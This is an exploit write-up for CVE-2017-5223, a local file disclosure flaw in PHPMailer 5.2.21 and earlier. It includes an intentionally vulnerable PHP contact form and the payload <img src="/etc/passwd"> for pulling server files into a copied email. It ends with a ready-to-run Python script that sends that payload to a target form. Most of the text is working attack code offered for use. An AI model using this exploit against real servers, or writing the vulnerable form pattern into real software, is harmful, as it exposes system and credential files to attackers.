PHPMailer < 5.2.21 - Local File Disclosure

# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)
# Date: 2017-10-25
# Exploit Author: Maciek Krupa
# All credit only to Yongxiang Li of Asiasecurity
# Software Link: https://github.com/PHPMailer/PHPMailer
# Version: 5.2.21
# Tested on: Linux Debian 9
# CVE : CVE-2017-5223

// PoC //

It requires a contact form that sends HTML emails and allows to send a copy to your e-mail

// vulnerable form example //

<?php
require_once('class.phpmailer.php'); // PHPMailer <= 5.2.21
if (isset($_POST['your-name'], $_POST['your-email'], $_POST['your-message'])) {
$mail = new PHPMailer();
$mail->SetFrom($_POST["your-email"], $_POST["your-name"]);
$address = "admin@localhost";
$mail->AddAddress($address, "root");
if (isset($_POST['cc'])) $mail->AddCC($_POST["your-email"], $_POST["your-name"]);
$mail->Subject = "PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)";
$mail->MsgHTML($_POST["your-message"]);
if(!$mail->Send()) echo "Error: ".$mail->ErrorInfo; else echo "Sent!";
}
?>
<form action="/contact.php" method="post">
<p><label>Your Name<br /><input type="text" name="your-name" value="" size="40" /></span> </label></p>
<p><label>Your Email<br /><input type="email" name="your-email" value="" size="40" /></span> </label></p>
<p><label>Your Message<br /><textarea name="your-message" cols="40" rows="10"></textarea></label></p>
<p><input type="checkbox" name="cc" value="yes" /><span>Send me a copy of this message</span>
<p><input type="submit" value="submit" /></p>

// exploit //

Put <img src="/etc/passwd"> in the message (or other file to disclose).

// python code //

#!/usr/bin/python
import urllib
import urllib2

poc = """
# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)
# Date: 2017-10-25
# Exploit Author: Maciek Krupa
# All credit only to Yongxiang Li of Asiasecurity
# Software Link: https://github.com/PHPMailer/PHPMailer
# Version: 5.2.21
# Tested on: Linux Debian 9
# CVE : CVE-2017-5223
"""

url = 'http://localhost/contact.php'
email = 'attacker@localhost'
payload = '<img src="/etc/passwd"'
values = {'action': 'send', 'your-name': 'Attacker', 'your-email': email, 'cc': 'yes', 'your-message': payload}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
html = response.read()
print html